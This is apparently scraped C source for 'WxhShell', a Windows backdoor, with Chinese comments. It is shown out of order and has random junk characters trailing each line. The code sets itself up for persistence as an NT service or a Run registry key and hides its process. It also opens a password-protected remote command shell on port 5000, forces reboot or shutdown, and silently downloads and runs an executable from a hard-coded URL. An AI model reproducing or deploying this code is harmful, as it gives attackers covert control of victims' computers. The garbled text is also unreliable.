    if(Boot(SHUTDOWN)) }z+"3A|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8|NJ(D-$  
    else { "%t`I)  
    closesocket(wsh); r_E)HL/A  
    ExitThread(0); U.'@S8  
    } n;`L5  
    break; ji -1yX  
    } 8k^y.B  
  // 获取shell V9_HC f  
  case 's': { vqi$}=%n?W  
    CmdShell(wsh); X2YOD2<v  
    closesocket(wsh); M2Fj)w2   
    ExitThread(0); /8t+d.r;/  
    break; l )*,18n  
  } cievC,3*  
  // 退出 Y*cJ4hQ  
  case 'x': { >-5Gt  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); SuH.lCF-g  
    CloseIt(wsh); /NX7Vev  
    break; `{lAhZ5  
    } Guw|00w,Q$  
  // 离开 ,]_(-tyN|  
  case 'q': { UW[{d/.wC  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0/@ X!|X  
    closesocket(wsh); xTFrrmxOf  
    WSACleanup(); JOx ,19r  
    exit(1); t{8v(}  
    break; 56SS >b  
        } f H|QAMfOu  
  } {hRie+  
  } FEZ"\|I|  
+VLe'|  
  // 提示信息 @ PoFxv  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fCf#zV[  
} K}E7|gdG  
  } h<' 5q&y  
Oqpl2Y"/  
  return; H4'DL'83  
} ''OInfd?  
wYO"znd  
// shell模块句柄 O< tnM<"(  
int CmdShell(SOCKET sock) Jp3di&x  
{ \btR^;_\A  
STARTUPINFO si; #>m, Cm  
ZeroMemory(&si,sizeof(si));  ;[KriW  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `o8{qU,*]N  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =6Sj}/   
PROCESS_INFORMATION ProcessInfo; Wd` QpW  
char cmdline[]="cmd"; c\)&yGE  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); cP@F #!2  
  return 0; PL9eUy  
} >[H&k8\7n  
O(D5A?tv!  
// 自身启动模式 mk%"G=w  
int StartFromService(void) S`@6c$y k  
{ ^/C $L8#  
typedef struct 1 73<x){  
{ ,d>X/kd|o  
  DWORD ExitStatus; ?7kV+{.  
  DWORD PebBaseAddress; @9uYmkcV  
  DWORD AffinityMask; |v$%V#Bo  
  DWORD BasePriority; \YlF>{LVe  
  ULONG UniqueProcessId; -M:hlwha  
  ULONG InheritedFromUniqueProcessId; q]N?@l]  
}   PROCESS_BASIC_INFORMATION; w~$c= JO#  
S@}B:}2  
PROCNTQSIP NtQueryInformationProcess; rI<nUy P?  
?wLdW1&PpX  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :Dk@?o@2;C  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |ON&._`LH  
-4?xwz9o$7  
  HANDLE             hProcess; G=C5T(  
  PROCESS_BASIC_INFORMATION pbi; 8{G?92 {rN  
 t$H':l0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); pdi=6<?bd  
  if(NULL == hInst ) return 0; 6/[Z178m  
I>H;o{X#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %|*nmIPq(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Foe>}6~{?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); dgco*TIGO  
xi?P(s A  
  if (!NtQueryInformationProcess) return 0; ^$=tcoQG  
e|b~[|;*=  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `&u<aLA  
  if(!hProcess) return 0; [Y22Wi  
fwi};)K  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1C0Y0{6,  
>lraYMc<rZ  
  CloseHandle(hProcess); ` y^zM/Ib  
_oJ2]f6KX  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Dh&:-  
if(hProcess==NULL) return 0; ,G[r+4|h  
y8w0eq94  
HMODULE hMod; msc 1^2  
char procName[255]; OB?SkR  
unsigned long cbNeeded; kRN|TDx(  
: F7k{~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }z%OnP  
selP=Q!  
  CloseHandle(hProcess); rb:<N%*t  
1KTabj/C  
if(strstr(procName,"services")) return 1; // 以服务启动 aFRTNu/r  
9Qzjqq:"Li  
  return 0; // 注册表启动 y Y>-MoF/t  
} 1 [Sv  
YVB% kKv{  
// 主模块 (px*R~}  
int StartWxhshell(LPSTR lpCmdLine) Sc&)~h}YF  
{ U@.u-)oX  
  SOCKET wsl; ;RWW+x8IB  
BOOL val=TRUE; 8%o~4u3  
  int port=0; lo+xo;Nd  
  struct sockaddr_in door; `E3:;|  
 2Vp>"  
  if(wscfg.ws_autoins) Install(); X,RT<GNNb  
/x  
port=atoi(lpCmdLine); bKk CW  
M!N` Orz  
if(port<=0) port=wscfg.ws_port; ;".z[l*  
klgv{_b  
  WSADATA data; Ro'jM0(KE  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Md8(`@`o  
|Du,UY/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >vlQ|/C  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?. zu2  
  door.sin_family = AF_INET; bK3B3r#$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |}_gA  
  door.sin_port = htons(port); 6xQ"bFm  
sA/,+aM  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <9ma(PFa  
closesocket(wsl); )K{o<m~WAo  
return 1; ;#3ekl{-g  
} \s=QiPK  
<fNGhmL  
  if(listen(wsl,2) == INVALID_SOCKET) { r_Lu~y|  
closesocket(wsl); luW <V>  
return 1; h ZoC _\  
} g-."sniP$g  
  Wxhshell(wsl); p1Q/g Il  
  WSACleanup();  QTVa  
3PsxOb+  
return 0; d,)}+G  
[ZuVUOm  
} AK6=Ydu  
B ,V( LTE  
// 以NT服务方式启动 +.w[6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @. "q  
{ gf+o1\5t@  
DWORD   status = 0; %VzYqj_P"  
  DWORD   specificError = 0xfffffff; \WWG>OUh.U  
z4CJn[m9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; BSN6|W  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; aT&t_^[]   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; t-_#Q bzE{  
  serviceStatus.dwWin32ExitCode     = 0; f, |QAj=a  
  serviceStatus.dwServiceSpecificExitCode = 0; MzcB3pi  
  serviceStatus.dwCheckPoint       = 0; x'@W=P 7   
  serviceStatus.dwWaitHint       = 0; y'^F,WTM  
neF8V"-u&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); LyIKP$t  
  if (hServiceStatusHandle==0) return; -:MmSeG7gO  
$u:<x  
status = GetLastError(); R0{Qy*YQ`  
  if (status!=NO_ERROR) !6lOIgn  
{ ^D>fis  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]*0(-@  
    serviceStatus.dwCheckPoint       = 0; 19'5Re&  
    serviceStatus.dwWaitHint       = 0; )&>L !,z  
    serviceStatus.dwWin32ExitCode     = status;  q$F)!&  
    serviceStatus.dwServiceSpecificExitCode = specificError; (}G!np  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ddb-@YD&+0  
    return; k=e`*LB\  
  } &1P(O\ d  
F"I*-!o  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; y>`5Kyj3-@  
  serviceStatus.dwCheckPoint       = 0; }7%9}2}Iw  
  serviceStatus.dwWaitHint       = 0; E-^2"j >o  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2SYKe$e  
} EOhC6>ATh  
a~,Kz\Tt  
// 处理NT服务事件,比如:启动、停止 F'1k<V?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) sMP:sCRC  
{ #00D?nC  
switch(fdwControl) ^ESUMXb  
{ `g--QR  
case SERVICE_CONTROL_STOP: \6{LR&  
  serviceStatus.dwWin32ExitCode = 0; +s ULo  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #G[t X6gU  
  serviceStatus.dwCheckPoint   = 0; )AI?x@  
  serviceStatus.dwWaitHint     = 0; "TfI+QgLF  
  { <KX&zi<L)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (Izf L1  
  } %yfE7UPS]  
  return; Y3k[~A7X  
case SERVICE_CONTROL_PAUSE: e gI&epN  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 19p8B&  
  break; E:)Cp  
case SERVICE_CONTROL_CONTINUE: LX\)8~dp  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;,k=<]  
  break; pl|h>4af  
case SERVICE_CONTROL_INTERROGATE: 9p4y>3  
  break; 2 L:$aZ  
}; W2hA-1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )&:L'N  
} Jld\8=  
BKay*!'PX  
// 标准应用程序主函数 `]jqQr97  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %&h c"7/k  
{ J#''q"rZ  
n}JPYu  
// 获取操作系统版本 9Sz7\W0  
OsIsNt=GetOsVer(); *}w+ 68eO  
GetModuleFileName(NULL,ExeFile,MAX_PATH); LL.x11 o3  
pw\P<9e=  
  // 从命令行安装 q*bt4,D&Es  
  if(strpbrk(lpCmdLine,"iI")) Install(); tb,9a!?  
P\AqpQv  
  // 下载执行文件 t+O e)Ns  
if(wscfg.ws_downexe) { ,:UX<6l R  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) q_sEw~~@!  
  WinExec(wscfg.ws_filenam,SW_HIDE); %m`zWg-  
} Z/g]o#  
'OD) v  
if(!OsIsNt) { h)cY])tGtK  
// 如果时win9x,隐藏进程并且设置为注册表启动 doR4nRl9  
HideProc(); '#q4Bc1  
StartWxhshell(lpCmdLine); bY)#v?  
} 45<y{8  
else DkdL#sV  
  if(StartFromService()) 'mE^5K  
  // 以服务方式启动 cDIBDC  
  StartServiceCtrlDispatcher(DispatchTable); <^c3}  
else @PX\{6&  
  // 普通方式启动 ~x#vZ=]8  
  StartWxhshell(lpCmdLine); I3(d<+M  
_{)9b24(  
return 0; s$ z2 c  
} T<yb#ak  
KmmQ,e%  
>g}G}=R~3  
6pp$-uS  
=========================================== S)7/0N79A  
ix&'0IrX*  
lP3h<j  
orqJ[!u)`  
y' [LNp V  
cU8xUpq  
" <cj{Qk  
Ryv_1gR!  
#include <stdio.h> 0` 5e  
#include <string.h> $FX,zC<=  
#include <windows.h> g`[$Xi R  
#include <winsock2.h> IPtvuEju\  
#include <winsvc.h> >{nH v)  
#include <urlmon.h> rt}^4IqL  
?lKhzH.T  
#pragma comment (lib, "Ws2_32.lib") i\Wdo/c-H  
#pragma comment (lib, "urlmon.lib") %\6Q .V#s  
*yez:qnx  
#define MAX_USER   100 // 最大客户端连接数 9]7u _  
#define BUF_SOCK   200 // sock buffer %u!b& 5]e  
#define KEY_BUFF   255 // 输入 buffer !MV@) (.  
W5 ec  
#define REBOOT     0   // 重启 #|f~s  
#define SHUTDOWN   1   // 关机 JN(-.8<  
 uMd. j$$  
#define DEF_PORT   5000 // 监听端口 BJy;-(JP  
+>tUz D  
#define REG_LEN     16   // 注册表键长度 Fr [7  
#define SVC_LEN     80   // NT服务名长度 >cgpajx*  
tJU-<{8  
// 从dll定义API .zkP~xQ~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Md&WJ };L  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); eB]R3j{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ahGT4d`)9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /XbW<dfl  
c^9tYNn  
// wxhshell配置信息 #ekM"p  
struct WSCFG { ea9oakF  
  int ws_port;         // 监听端口 DNP@A4~  
  char ws_passstr[REG_LEN]; // 口令 G%{0i20_  
  int ws_autoins;       // 安装标记, 1=yes 0=no '*T]fND4  
  char ws_regname[REG_LEN]; // 注册表键名 LW:1/w&pv  
  char ws_svcname[REG_LEN]; // 服务名 #/70!+J_UF  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (kw5>c7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4XJiIa?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Gquuy7[&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $NG++N  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Mvcfk$pA  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 z]@6fM[  
c$h9/H=~  
}; h"W8N+e\  
-t-tn22  
// default Wxhshell configuration 5kMWW*Xtf  
struct WSCFG wscfg={DEF_PORT, 8Vn4.R[vE  
    "xuhuanlingzhe", 7o]HQ[xO  
    1, )jDJMi_[  
    "Wxhshell", 6Q Zp@  
    "Wxhshell", ^}$O|t  
            "WxhShell Service", vhgLcrn  
    "Wrsky Windows CmdShell Service", {C3Y7<  
    "Please Input Your Password: ", 3yO=S0`  
  1, KoBW}x9Jp  
  "http://www.wrsky.com/wxhshell.exe", eV};9VJ$F  
  "Wxhshell.exe" .*5Z"Q['G  
    }; >)**khuP7  
EL D!{bMT  
// 消息定义模块 JAjku6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \ |!\V  
char *msg_ws_prompt="\n\r? for help\n\r#>"; K$[$4 dX]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *hY2.t; X  
char *msg_ws_ext="\n\rExit."; L%\b'fs  
char *msg_ws_end="\n\rQuit."; l67Jl"v  
char *msg_ws_boot="\n\rReboot..."; KZ:hKY@q  
char *msg_ws_poff="\n\rShutdown..."; h<l1U'Bn7  
char *msg_ws_down="\n\rSave to "; mUP.rb6  
<L0#O(L  
char *msg_ws_err="\n\rErr!"; r4XH =  
char *msg_ws_ok="\n\rOK!"; G| m4m.  
H9 tXSh  
char ExeFile[MAX_PATH]; A\sI<WrH  
int nUser = 0; 7 hw .B'7  
HANDLE handles[MAX_USER]; 04@cLDX8uB  
int OsIsNt; RHY4P4B<v>  
9 c3E+  
SERVICE_STATUS       serviceStatus; AMCyj`Ur  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; L>9R4:g  
nE W31 8  
// 函数声明 sRhKlUJG  
int Install(void); | A)\ :  
int Uninstall(void); ^TdZ*($5  
int DownloadFile(char *sURL, SOCKET wsh); ~/#1G.H  
int Boot(int flag); mTDVlw0dh  
void HideProc(void); e@<?zS6  
int GetOsVer(void); } p:%[  
int Wxhshell(SOCKET wsl); %&<LNEiUN  
void TalkWithClient(void *cs); (P|pRVO  
int CmdShell(SOCKET sock); !nf-}z e{  
int StartFromService(void); t+Bf#:  
int StartWxhshell(LPSTR lpCmdLine); 8?FueAM'  
8At<Wic  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ['qnn|  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  :$r ^_  
YA]5~ ZE\  
// 数据结构和表定义 KLWDo%%u  
SERVICE_TABLE_ENTRY DispatchTable[] = 0Q9T3X  
{ )xU-;z0"~  
{wscfg.ws_svcname, NTServiceMain}, /F/;G*n  
{NULL, NULL} S~OhtHwK  
}; E /<lGm:.  
3R$Z[D-  
// 自我安装 'Prxocxq  
int Install(void) Ri*3ySyb  
{ 2[yBD-":  
  char svExeFile[MAX_PATH]; N:5[,O<m_  
  HKEY key; |UUdz_i!:  
  strcpy(svExeFile,ExeFile); -7qIToO.  
fz_nsVD  
// 如果是win9x系统,修改注册表设为自启动 Q;/a F`  
if(!OsIsNt) { 1 OaXo!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W8WXY_yJt  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kAYb!h[`  
  RegCloseKey(key); B 9dt=j3j2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { aptY6lGv-|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tOl e>]  
  RegCloseKey(key); u{H?4|'(  
  return 0; !  NV#U  
    } *?p|F&J  
  } z_|oCT!6  
} 5z$,6T  
else { i'/m4 !>h  
2h=%K/hhY  
// 如果是NT以上系统,安装为系统服务 j7QX ,_Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?uLeFD  
if (schSCManager!=0) uzr\oj+>  
{ k=ytuV\  
  SC_HANDLE schService = CreateService S::=85[>z  
  ( \E1U@6a  
  schSCManager, ,L> ar)B  
  wscfg.ws_svcname, 7;:#;YS ha  
  wscfg.ws_svcdisp, ,T,:-E  
  SERVICE_ALL_ACCESS, B^ 7eoW  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~`MS~,,  
  SERVICE_AUTO_START, QP@<)`1t9  
  SERVICE_ERROR_NORMAL, m` AK~O2  
  svExeFile, D=f7NVc>Q  
  NULL, : esg(  
  NULL, z,SYw &S  
  NULL, Aj>[z8!,  
  NULL, }GwVKAjP  
  NULL Ka!I`Yf  
  ); I<oL}f  
  if (schService!=0) ~:4kU/]  
  { x[_=#8~.1x  
  CloseServiceHandle(schService); <!d"E@%v@  
  CloseServiceHandle(schSCManager); "8f?h%t  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); j V3)2C}  
  strcat(svExeFile,wscfg.ws_svcname); h!@,8y[B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { JtKp(k&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); d50Vtm\  
  RegCloseKey(key); XKOUQc4!R  
  return 0; vT^Sk;E  
    } Sb2v_o  
  } + xv!$gJEj  
  CloseServiceHandle(schSCManager); z`Wt%tL(  
} :fcM:w&  
} c,EBF\r8*  
\/`?  
return 1; =JLh?Wx  
} x+5k <Xi}  
SUCU P<G  
// 自我卸载 9Ru;`  
int Uninstall(void) uLeRZSC  
{ 5v.DX`"  
  HKEY key; <~U4*  
M5L{*>4|6  
if(!OsIsNt) { R{Z-m2La  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kK>Xrj6  
  RegDeleteValue(key,wscfg.ws_regname); |iYg >  
  RegCloseKey(key); zSTR^sgJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qeL pXe0c  
  RegDeleteValue(key,wscfg.ws_regname); Ji'(`9F&a  
  RegCloseKey(key); F'P Qqb{  
  return 0; Lz9#A.  
  } 9;t]Hp_+K  
} \5 pu|2u  
} Fe&qwq"  
else { \p&~ ,%  
B1 0+*p(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ZM#=`k9  
if (schSCManager!=0) FjfN3#qlg  
{ 9W7#u}Z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); j|fd-<ng  
  if (schService!=0) le)DgIT>=  
  { 8ip7^  
  if(DeleteService(schService)!=0) { .Ce8L&cU  
  CloseServiceHandle(schService); Lm*VN~2  
  CloseServiceHandle(schSCManager); CJknJn3m&  
  return 0; I+ l%Sn#\  
  } ^>&k]T`  
  CloseServiceHandle(schService); NUJ~YWO;  
  } Wl"0m1G  
  CloseServiceHandle(schSCManager); rZ1Hf11C  
} )emOKS  
} t@oK~ Nr  
`iKj  
return 1; l3o#@sz:  
} W`rNBfG>  
#G]!%  
// 从指定url下载文件 'XOX@UH d  
int DownloadFile(char *sURL, SOCKET wsh) 8iQ[9  
{ Cr/`keR  
  HRESULT hr; EOKzzX7 S  
char seps[]= "/"; Iry  
char *token; 4NR@u\S  
char *file; G\gMC <3  
char myURL[MAX_PATH]; /?-7Fg+,  
char myFILE[MAX_PATH]; qOV[TP,  
CG]Sj*SA~  
strcpy(myURL,sURL); :,pSWfK H  
  token=strtok(myURL,seps);  4-Z()F  
  while(token!=NULL) ;$j7H&UNQj  
  { #C*8X+._y  
    file=token; !LM<:kf.|  
  token=strtok(NULL,seps); gYop--\14]  
  } ybdd;t}&1  
xG&SX#[2  
GetCurrentDirectory(MAX_PATH,myFILE); +#J,BKul  
strcat(myFILE, "\\"); \$*$='6"  
strcat(myFILE, file); &O\(;mFc  
  send(wsh,myFILE,strlen(myFILE),0); XEM'}+d  
send(wsh,"...",3,0); vH %gdpxX  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `\| ssC8u  
  if(hr==S_OK) ov# 7 hxe  
return 0; qk(P>q8[  
else g+8hp@a  
return 1; nxm$}!Df  
,.IEDF<&  
} (WlIwKP  
.S\&L-{  
// 系统电源模块 xFv;1Q  
int Boot(int flag) JOn yrks  
{ 4JIYbb-a'  
  HANDLE hToken; lG<hlYckv  
  TOKEN_PRIVILEGES tkp; I,6/21kO  
p4u5mM  
  if(OsIsNt) { "I- w  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #!J(4tXny  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); HG >j5  
    tkp.PrivilegeCount = 1; wmr-}Y!9u%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4b]a&_-}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %~ |HFYd  
if(flag==REBOOT) { "%2xR[NF  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~vdkFc(8B  
  return 0; W{cY6@  
} Q-TV*FD.  
else { &:*q_$]Oz  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9~IQw#<  
  return 0; 0"k |H&  
} [p r"ZQ]  
  } Y]`.InG@  
  else { 6qvp*35Cx  
if(flag==REBOOT) { E9! N>0  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) s=I'e/"7  
  return 0; \g)Xt?w0Wo  
} bBxw#_3A?E  
else { G`=r^$.3WB  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9<CG s3\  
  return 0; g\A y`.s  
} YMpf+kN  
} \6|/RFT  
,FQdtNMap  
return 1;  0IM8  
} "R #k~R  
woH)0v  
// win9x进程隐藏模块 =/Aj  
void HideProc(void) %T`U^ Pnr  
{ =wu*D5  
5m$2Ku  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); i@"e,7mSG  
  if ( hKernel != NULL ) <pLT'Y=  
  { gW(gJ; L,%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {2'm^0Kl  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Jhkvd<L8`m  
    FreeLibrary(hKernel);  Fnx`Ri  
  } J<j&;:IRd  
T".]m7!  
return; Mc sTe|X  
} ?0*8R K  
9|' B9C  
// 获取操作系统版本 }71LLzG`/  
int GetOsVer(void) /Poet%XvRx  
{ I XA>`D  
  OSVERSIONINFO winfo; DsDzkwJE  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); y k161\  
  GetVersionEx(&winfo); )(Iy<Y?#  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Tm]nEl)_  
  return 1; ,0$)yZ3*3,  
  else e= P  
  return 0; JYqSL)Ta*t  
} nCg66-3A  
 EEy$w1ec  
// 客户端句柄模块 d4[(8} x$/  
int Wxhshell(SOCKET wsl) Tq<2`*Qs  
{ [}mA`5  
  SOCKET wsh; @* 1U{`  
  struct sockaddr_in client; TrVWv  
  DWORD myID; ~IVd vm7  
=x#FbvV  
  while(nUser<MAX_USER) Y[ reD  
{ H!e 3~+)  
  int nSize=sizeof(client); >PKBo  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Weoj|0|t  
  if(wsh==INVALID_SOCKET) return 1; VUU]Pu &  
: DG)g3#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); H( -Y  
if(handles[nUser]==0) >/f_F6ay#  
  closesocket(wsh); PrF}a<:n:  
else D?jk$^p~m#  
  nUser++; s)A<=)w/e  
  } % u{W7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5R$G(Ap_  
i y YJR  
  return 0; mbl]>JsQD  
} y2HxP_s?P?  
=64r:E  
// 关闭 socket Eq% @"-m o  
void CloseIt(SOCKET wsh) D,l,`jv*  
{ %9C@ Xl  
closesocket(wsh); B=L&bx  
nUser--; j '%4{n  
ExitThread(0); iItcN;;7  
} q*jNH\|  
c{ZY,C&<  
// 客户端请求句柄 BI[JATZG  
void TalkWithClient(void *cs) ~i'Nqe_  
{ ;Z[]{SQ  
V5}nOGV9  
  SOCKET wsh=(SOCKET)cs; V2Q$g^X'  
  char pwd[SVC_LEN]; [a[/_Sf{  
  char cmd[KEY_BUFF]; D:\g,\Z  
char chr[1]; vQVK$n`  
int i,j; $>M<j  
f}c\_}(  
  while (nUser < MAX_USER) { txql 2  
HY;o ^drd  
if(wscfg.ws_passstr) { cNpe_LvW  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }0 hL~i  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N<|$h5isq  
  //ZeroMemory(pwd,KEY_BUFF); 2g{)AtK$#  
      i=0; vY|^/[x#B  
  while(i<SVC_LEN) { z(uZF3  
MjfFf} @  
  // 设置超时 l*b)st_p%  
  fd_set FdRead; PQW(EeQ  
  struct timeval TimeOut; Gnm4gF!BI  
  FD_ZERO(&FdRead); iL{M+Ic  
  FD_SET(wsh,&FdRead); o;"OSp  
  TimeOut.tv_sec=8; *="8?Z  
  TimeOut.tv_usec=0; jdeV|H} u  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 07T70[G  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [36,eK  
u]^N&2UW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [mxTa\  
  pwd=chr[0]; /76 1o\Q  
  if(chr[0]==0xd || chr[0]==0xa) { D-imL;|  
  pwd=0; m%+IPZ2m  
  break; %m5Q"4O  
  } {MAQ/5  
  i++; Sx gYjIa-  
    } ^ OJyN,A  
@(``:)Z<b  
  // 如果是非法用户,关闭 socket NY$uq+Z>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $v.C0 x  
} 9_ICNG%  
Thy=yz;p  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $DFv30 f  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B (/U3}w-  
PMsz`  
while(1) { ub0zJTFJ#  
k@>\LR/v  
  ZeroMemory(cmd,KEY_BUFF); yDb'7(3-  
>e5 *prx+  
      // 自动支持客户端 telnet标准   !U_ K&f  
  j=0; - N>MBn  
  while(j<KEY_BUFF) { gMWBu~;!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); AEmNHO@%q  
  cmd[j]=chr[0]; >M%\T}5  
  if(chr[0]==0xa || chr[0]==0xd) { ^da44Qqu  
  cmd[j]=0; (%CZ*L[9Z  
  break; Ph&urxH@  
  } P27%xV-n>  
  j++; rn@`yTw^  
    } JN/UUfj  
?q`0ZuAg\<  
  // 下载文件 \2[<XG(^  
  if(strstr(cmd,"http://")) { TG48%L  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =+5,B\~q@C  
  if(DownloadFile(cmd,wsh)) ,?UM;^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 75!9FqMZ}  
  else -${DW^txMZ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x"kjs.d7[<  
  } w"m+~).U  
  else { 14eW4~Mr  
os3 8u!3-  
    switch(cmd[0]) { CDj~;$[B  
  C#rc@r,F  
  // 帮助 9A,Z|q/z5  
